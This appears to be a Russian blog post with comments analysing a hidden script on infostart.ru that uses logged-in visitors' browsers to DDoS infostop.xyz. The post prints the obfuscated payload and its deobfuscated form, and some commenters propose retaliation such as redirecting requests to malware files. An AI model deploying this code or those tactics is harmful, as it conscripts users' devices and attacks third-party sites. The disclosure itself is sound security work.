С чего все началось
Появилась производственная необходимость знать, кто из сотрудников в рабочее время какие ресурсы посещает. На шлюзе стоит Debian Linux, желания (да и времени) на эксперименты и изучение чего-то нового не было, поэтому выбор сразу пал на Squid. Настроил прозрачный режим по мануалу отсюда, за что автору отдельное спасибо.
Настроено и вроде бы работает, надо проверить. Смотрю журнал:
tail -f /var/log/squid/access.log
И вижу как мой IP ломится на неизвестный мне ресурс, вызывая у меня недоумение. Причем делает это с периодичностью 1-2сек:
1460094633.574 461 Мой_IP TCP_MISS/502 839 GET http://infostop.xyz/? - ORIGINAL_DST/104.168.174.157 text/html
1460094633.869 706 Мой_IP TCP_MISS/502 839 GET http://infostop.xyz/? - ORIGINAL_DST/104.168.174.157 text/html
1460094634.195 326 Мой_IP TCP_MISS/502 839 GET http://infostop.xyz/? - ORIGINAL_DST/104.168.174.157 text/html
1460094634.463 350 Мой_IP TCP_MISS/502 839 GET http://infostop.xyz/? - ORIGINAL_DST/104.168.174.157 text/html
1460094634.676 563 Мой_IP TCP_MISS/502 839 GET http://infostop.xyz/? - ORIGINAL_DST/104.168.174.157 text/html
Решил не терять времени и попытаться выяснить, что собственно происходит…
netstat -nab
TCP Мой_IP:7955 104.168.174.157:80 ESTABLISHED
[opera.exe]
TCP Мой_IP:8714 104.168.174.157:80 ESTABLISHED
[opera.exe]
TCP Мой_IP:9152 104.168.174.157:80 ESTABLISHED
[opera.exe]
Как оказалось это мой браузер куда-то ломится.
Мой собственный браузер, занимается чьими-то чужими делами. И без меня
Когда я выяснил (методом перебора), что эти запросы уходят с закладок, на которых открыт infostart.ru, степень моего недоумения выросла как минимум вдвое. Серьёзный ресурс с огромным количеством посетителей использует свою аудиторию для таких низких целей — DDoS`ить неугодные ресурсы (что дальше? Подбирать пароли? Майнить bitcoin`ы?).
Найти часть кода, отвечающую за DDos-атаку не составило труда. Грузится он в отдельном фрейме по ссылке infostart.ru/bitrix/ajax/weather.php, вместе с информером погоды. Причем сам информер погоды я не нашел на сайте (наверно плохо искал).
Собственно код, надеюсь, владельцы ресурса не предъявят мне за нарушения авторских прав:
var getweather_check = false;var g00ee9a511d3c5913f80058b457b5bde0 = true;
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('h f=["\\r\\V\\v\\W\\j\\X","\\z\\U\\v\\T\\l\\F","\\H\\z\\j\\j\\r","\\Q\\v\\H\\j\\I\\l\\j\\t\\R\\S\\Y\\Z","\\s\\16\\t\\17","\\I\\r\\15","\\F\\l\\l\\t\\P\\s\\s"];i C(){q(14===10){h o=11(13,18,K,J,N,O);h B=o[m[f[2]](m[f[0]]()*o[f[1]])];h x=f[3];h y=f[4]+B;h A=E M();h L=m[f[2]](m[f[0]]()*1f);A[f[5]]=f[6]+x+y}}1l(i(p,a,c,k,e,d){e=i(c){n c.u(19)};q(!\'\'.D(/^/,1m)){G(c--){d[c.u(a)]=k[c]||c.u(a)}k=[i(e){n d[e]}];e=i(){n\'\\\\w+\'};c=1};G(c--){q(k[c]){p=p.D(E 1p(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}n p}(\'6 1=3.5("1");1.4="2",1.7="8-2",3.9("b")[0].a(1);\',12,12,\'|1g|1h|1e|1d|1a|h|1b|1c|1j|1i|1o\'.1q(\'|\'),0,{}));1n(C,1k);',62,89,'|||||||||||||||_0xd116||var|function|x6F||x74|Math|return|_0xb8e4x2||if|x72|x2F|x70|toString|x6E||_0xb8e4x4|_0xb8e4x5|x6C|_0xb8e4x6|_0xb8e4x3|getweather|replace|new|x68|while|x66|x73|2203|2219|_0xb8e4x7|Image|2178|2127|x3A|x69|x2E|x78|x67|x65|x61|x64|x6D|x79|x7A|true|Array||2264|getweather_check|x63|x3F|x3D|2252|36|createElement|content|no|name|document|1000|meta|referrer|appendChild|getElementsByTagName|2000|eval|String|setInterval|head|RegExp|split'.split('|'),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('a(2(){$.b(\'/9/1.8?\'+4 6().7(),2(3){d(3.h>0)1=e;f 1=g})},5*c*i);',19,19,'|getweather_check|function|data|new||Date|getTime|txt|dev|setInterval|get|60|if|true|else|false|length|1000'.split('|'),0,{}))
Использовать обфускацию кода, который выполняется функцией eval, по моему скромному мнению, было не самой хорошей идей. Заменяем eval на console.log, комбинируем Enter и Tab и получаем уже читаемый код (хотя лучше всего воспользоваться онлайн форматированием, например здесь):
var _0xd116 = ["\x72\x61\x6E\x64\x6F\x6D", "\x6C\x65\x6E\x67\x74\x68", "\x66\x6C\x6F\x6F\x72", "\x69\x6E\x66\x6F\x73\x74\x6F\x70\x2E\x78\x79\x7A", "\x2F\x3F\x70\x3D", "\x73\x72\x63", "\x68\x74\x74\x70\x3A\x2F\x2F"];
function getweather() {
if (getweather_check === true) {
var _0xb8e4x2 = Array(2264, 2252, 2219, 2203, 2178, 2127);
var _0xb8e4x3 = _0xb8e4x2[Math[_0xd116[2]](Math[_0xd116[0]]() * _0xb8e4x2[_0xd116[1]])];
var _0xb8e4x4 = _0xd116[3];
var _0xb8e4x5 = _0xd116[4] + _0xb8e4x3;
var _0xb8e4x6 = new Image();
var _0xb8e4x7 = Math[_0xd116[2]](Math[_0xd116[0]]() * 1000);
_0xb8e4x6[_0xd116[5]] = _0xd116[6] + _0xb8e4x4 + _0xb8e4x5
}
}
function(p, a, c, k, e, d) {
e = function(c) {
return c.toString(36)
};
if (!''.replace(/^/, String)) {
while (c--) {
d[c.toString(a)] = k[c] || c.toString(a)
}
k = [function(e) {
return d[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--) {
if (k[c]) {
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
}
}
return p
}('6 1=3.5("1");1.4="2",1.7="8-2",3.9("b")[0].a(1);', 12, 12, '|meta|referrer|document|name|createElement|var|content|no|getElementsByTagName|appendChild|head'.split('|'), 0, {}));
setInterval(getweather, 2000);
Из вышенаписанного видно, что скрипт каждые 2 сек. добавляет тег img, а файл картинки предлагает взять с сайта infostop.xyz. Собственно, это вся суть реализации DDoS-атаки. В переменой _0xd116 хранятся настройки.
console.log(_0xd116)
["random", "length", "floor", "infostop.xyz", "/?p=", "src", "http://"]
Адрес жертвы, протокол, ключ GET-запроса (чтобы обойти кэширование) и параметры для алгоритмов. Что наводит на мысль, что это делалось не на один раз, а с далеко идущими планами. Уверен на 99%, что у этого механизма есть консоль управления.
Во вторая строка:
setInterval(function(){$.get('/dev/getweather_check.txt?'+new Date().getTime(),function(data){if(data.length>0)getweather_check=true;else getweather_check=false})},5*60*1000);
По ней видно, что каждые 5 минут отправляется GET-запрос /dev/getweather_check.txt. Ответ на который и управляет процессом на стороне клиента. Пока ответ возвращает хоть что-то — продолжать атаковать жертву.
У неавторизированных пользователей это не работает. В DDoS-атаке участвуют только авторизированные пользователи. Я не помню, чтобы соглашался с таким. Наверное, было мелким шрифтом.
Вместо заключения
В современном мире, с современными браузерами мы становимся все менее защищенными. Любой владелец сайта может легко использовать ресурсы устройств его посетителей в своих, возможно, не всегда чистых умыслах. В погоне за личной выгодой владельцы сайтов могут легко переступить через принципы.
На фоне новой волны уведомлять посетителя, что сайт будет использовать cookie, такое поведение infostart.ru заставляет задуматься.
Дисклеймер
Не имею отношения к владельцам обоих ресурсов. Просто меня не покидает неприятное чувство, что любой владелец крупного ресурса может использовать своих добросовестных посетителей в качестве инструмента для достижения своих корыстных целей, при этом переложив ответственность на последних.
UPDATE: Сегодня утром, все партнерские ресурсы infostart, заблокированы для меня(возможно не только для меня).
Наблюдаю сообщение: «Доступ к сайту заблокирован администратором.» и какой-то номерок. Предполагаю, что этот номерок нежен для выявления меня из общей массы.
UPDATE: около 10:00 по МСК скрипт отключили.
Комментарии (70)
redfenix
11.04.2016 18:23+8Появилась производственная необходимость знать, кто из сотрудников в рабочее время какие ресурсы посещает.
шифруйте свой трафик господа сотрудники…herr_kaizer
12.04.2016 09:45ДДосить — плохо, а вот просматривать чужой трафик — хорошо, что непонятного?
AleX_gRey
12.04.2016 09:47как трафик организации, с рабочего ПК, в офисе, в рабочее — может быть чужим?
dartraiden
11.04.2016 19:00В современном мире, с современными браузерами мы становимся все менее защищенными. Любой владелец сайта может легко использовать ресурсы устройств его посетителей в своих, возможно, не всегда чистых умыслах.
Поэтому защищайтесь с помощью NoScript и аналогичных дополнений для браузера.Fen1kz
11.04.2016 19:25+1А как защищаться с помощью NoScript? Если бы я ходил на инфостарт, я бы добавил его в разрешенные сразу же.
dartraiden
11.04.2016 19:36Как вариант, выборочно разрешать лишь нужные скрипты, вместо разрешения всех скриптов с этого домена.
Альтернатива — дополнения типа RequestPolicy, которые блокируют запросы контента со сторонних доменов. Скрипт бы отработал, но запрос картинки не ушёл и нагрузка на сайт-жертву не возросла.
Ну и вообще, за такие фокусы (DDoS), конечно, нужно бить ногами.equand
11.04.2016 21:11+1Лучший вариант делать следующее, по адресу запроса узнавать по реферреру, что пришло с инфостарта, вешать файл в 100 мегабайт рандома. Или еще веселее, вешать в даунлоад виртуального мегафайла и отдавать по байту рандома (хоть через пхп скрипт), тогда сайт будет «висеть» у пользователя, или же вечно грузиться, многие инстинктивно жмут стоп.
mkdog
12.04.2016 08:11+3Либо сделать редирект запроса на файл с кучей вирусов (на другом домене), тогда любой современный браузер при заходе на infostart.ru, сразу сбросит их страницу, и выдаст красное окно с предупреждением вида «была предотвращена попытка установки вредоносного ПО на ваш компьютер». Это отобьет охоту у посетителей пользоваться сайтом в разы быстрее, чем медленная загрузка + поисковики могут выкинут его из индекса за размещение ссылок на зараженные сайты
AleX_gRey
11.04.2016 21:36Согласен с вами на 100%. Ещё не так давно слишком скептически относился NoScript, но кардинально поменял своё отношение. Писать про него не стал, так как ещё не начал пользоваться.
Alex_ME
12.04.2016 00:00+3Либо я чего-то не понимаю, но сейчас практически каждый сайт используют JS, NoScript просто ломает у большинства функциональность
AleX_gRey
12.04.2016 00:02в этом-то и проблема использования NoScript, поэтому в своё время от него отказался.
dartraiden
12.04.2016 00:04Разрешать лишь те скрипты, без которых ломается функциональность. Обсуждаемый скрипт с невидимыми картинками явно к таковым не относится.
AleX_gRey
12.04.2016 00:07как обычному пользователю, отличить где скрипт, который ломает функциональность, а где тот который качает невидимые картинки?
dartraiden
12.04.2016 00:35Я это делаю методом научного тыка (разрешили скрипт, сайт не работает, запрещаем скрипт, разрешаем следующий). И на названия скриптов ещё смотрю. Обычно, на сайте 1-2 критичных скрипта, если это не какой-то суперпупернавороченный сайт. Всё остальное — аналитика, свистоперделки и прочие ненужности.
AleX_gRey
12.04.2016 08:04Мы с Вами не рядовые пользователи. А что делать им? Большинство картинку нормально скачать не могут.
Ghool
12.04.2016 08:59+2Я так жил годик.
Потом надоело.
Регулярные проблемы с функциональностью сайтов, о которой узнаёшь иногда — когда уже поздно.
Пример:
Покупаю билет на SkyScanner (включил скрипты на SkyScanner). Выбрал билет, нажимаю купить — меня перекидывает на сайт продавца, билет блокируется под меня, но кнопку «оплатить» не функционирует из-за отсутствия скриптов на сайте-продавце.
Включаю скрипты на сайте-продавце, но билет уже забронирован и недоступен.
А потом ведь перекидывает на сайт платёжной системы, и там тоже нужны скрипты и тоже сбрасывается сессия при хождении «вперёд-назад».
GRADUSnick
11.04.2016 19:58+2вообще если кому интересно, то http://www.forum.mista.ru/topic.php?id=769804&page=1 (по ссылке форум 1С-ников) есть обсуждение поведения сайта с комментариями создателя и совладельца.
Позиция его мягко сказать у меня, например, вызвала недоумение. («Это было тестирование нового функционала, скоро предоставим его всем желающим. Согласие? А зачем?»).dartraiden
12.04.2016 02:04+1«Мы тестировали скрипт анализа пиратского сайта на наличие авторского контента»
«На партнерских сайтах этот скрипт не включался»
Комментарии владельца можно хоть сейчас накладывать субтитрами на известное видео. Там что ни коммент, то огонь.
https://habrastorage.org/files/a10/b45/4e0/a10b454e07484b08b6c32967093498a1.jpg
JtHermit
12.04.2016 10:54Он в комментариях уже успел обвинить автора статьи на Хабре в связи с преступниками.
«Мы на самом деле заложили хешкод его профиля, поэтому знаем по его скриншоту на хабре, кто это делал. Мы ждали этого „вброса“ и он попался в ловушку. Сейчас нам осталось вычислить через платежную систему его личные данные.»dartraiden
12.04.2016 10:57Делал что? Указал на скрипт, который отдаётся всем залогиненным пользователям?
По-моему, «Остапа понесло» капитально.JtHermit
12.04.2016 11:27Имел наглость обнаружить скрипт. Цитирую:
«Для меня понятно, что автор этой ветки и поста на хабре как-то связаны с преступниками. У автора поста на хабре это первый пост, а здесь ветка появилась спустя всего 20 мин.
Чтобы поймать такой скрипт, надо сначала поднять этот сайт, так как если сайт „лежит“, то скрипт на работал.»
То, что проверку доступности атакуемого узла осуществляет сам скрипт, уважаемого «Остапа» также не смущает.dartraiden
12.04.2016 11:33OMG. Да, парень такой простой… Доказательная база? Не, не слышал. Ведь для него всё понятно.
AbnormalHead
11.04.2016 22:53+6Судя по кешу гугла сайт уже неделю лежит по ддосом. Я бы порекомендовал владельцу инфостопа поменять записи в ДНС на адреса инфостарта.
dohlik
12.04.2016 09:35+1Или тупо поставить редирект при наличии запросов с реферером инфостартовским. На какую-нить тяжелую некешируемую страницу
Tarcus
12.04.2016 09:47Ох не зря мир 1С начинает смотреть в сторону GitHub, туда грязные ручонки подобных «бизнесменов» не дотянутся.
ComodoHacker
12.04.2016 11:15Кстати, GitHub недавно тоже репутацию подмочил. Многие уже мигрируют на GitLab.
Tarcus
12.04.2016 11:54+1Можно ссылку на событие? Я этот момент как-то пропустил.
Для приватных проектов по моему мнению изначально лучше иметь собственный сервер — у нас, например, как раз GitLab.
DarkByte
12.04.2016 11:14Довольно глупый способ ддоса, они бы ещё в iframe сайт загружали, как LOIC делает.
HTTP 301 на сайт атакующего или лучше сразу ФСБ решает проблему без привлечения сторонних сервисов.
dartraiden
12.04.2016 11:28Мои madskillz. Использованы комментарии основателя и совладельца «Инфостарта» Доржи Цыденова и обычных пользователей форума mista.ru. Буду добавлять ещё по мере появления лулзов.
https://imgur.com/a/sHFjI
На полноценное видео с субтитрами меня посреди ночи не хватило.
Fen1kz
А почему вы уверены что это инициатива infostart, а не что их сломали? или просто так удобнее острить?
Fragster
Атакуемый домен сильно подозрительный :)
Правда у меня не работает.
Ziptar
Хабраэффект добил?:)
http://webcache.googleusercontent.com/search?q=cache:http://infostop.xyz/
Хотя судя по последней новости — таки инфостарт и добил.
С виду ничем незаконным не занимаются. Собрание конфигураций да печатных форм. Вареза нет.
Ziptar
P.S. конфигурации же 1-сные, на сколько я знаю, не являются объектом защиты авторского права? Фактически лицензируется только использование оболочки и сервера бд?
Или я не прав?
Fragster
Нет, не так.
Fragster
Ну, если посмотреть на названия «публикаций», то все со страницы кэша гугла находятся на инфостарте с датами, намного более ранними, чем на инфостопе. Вопрос в том, насколько законно владельцы инфостопа их получили и разместили. Связывались ли с авторами с инфостарта?
dgr
Безусловно это все оправдывает.
GRADUSnick
infostop размещает бесплатно обработки и конфигурации которые пользователи размещают на infostart для продажи за старт.мани (внутреннюю валюту сайта) которые кажется даже можно как-то выводить, так что смысл атаки понятен.
planarik
Infostop — сборник бесплатных обработок для 1С в противовес Infostart.
Из кэша гугла
«Дорогие друзья, коллеги. Сами_знаете_какой_сайт в очередной раз оценил наши усилия и организовал очередную DDoS-атаку. К сожалению наш новый сервер, на который мы вынужденно перешли из-за банкротства нашего прошлого хостера, такую нагрузку не держит „
Fragster
Пусть он будет сборником бесплатных и в противовес. Но пусть тогда материалы будут получены от авторов, а не скачаны популярные с инфостарта (при скачивании есть галочка о том, что вы не собираетесь в публичный доступ выставлять обработку)
метод, конечно, грязный, но…
AleX_gRey
google кэш говорит, что это ресурс который размещает украденные с infostart`а закрытый контент.(информация об этом не прошла модерацию)
http://webcache.googleusercontent.com/search?q=cache:z6PZ22cXwzUJ:infostop.xyz/+&cd=1&hl=ru&ct=clnk&gl=ru
dartraiden
А вы почитайте по ссылке на сторонний форум в коментах ниже. Там владелец сайта открыто признаётся, «да, ддосим, с плохими людьми можно делать всё, что угодно, поскольку они не защищены законом, и вообще, я бы законодательно разрешил ддосить плохих людей». Это пять, я считаю.
nochkin
И почему-то они считают нормальным ДДОСить за счёт посетителей. Уверен, многие будут не согласны если их спросить.
DnD_designer
Вот я не уверен, что используя ДДоС, да еще и за чужой счет, они сами не становятся «плохими людьми». К ним самим это применимо?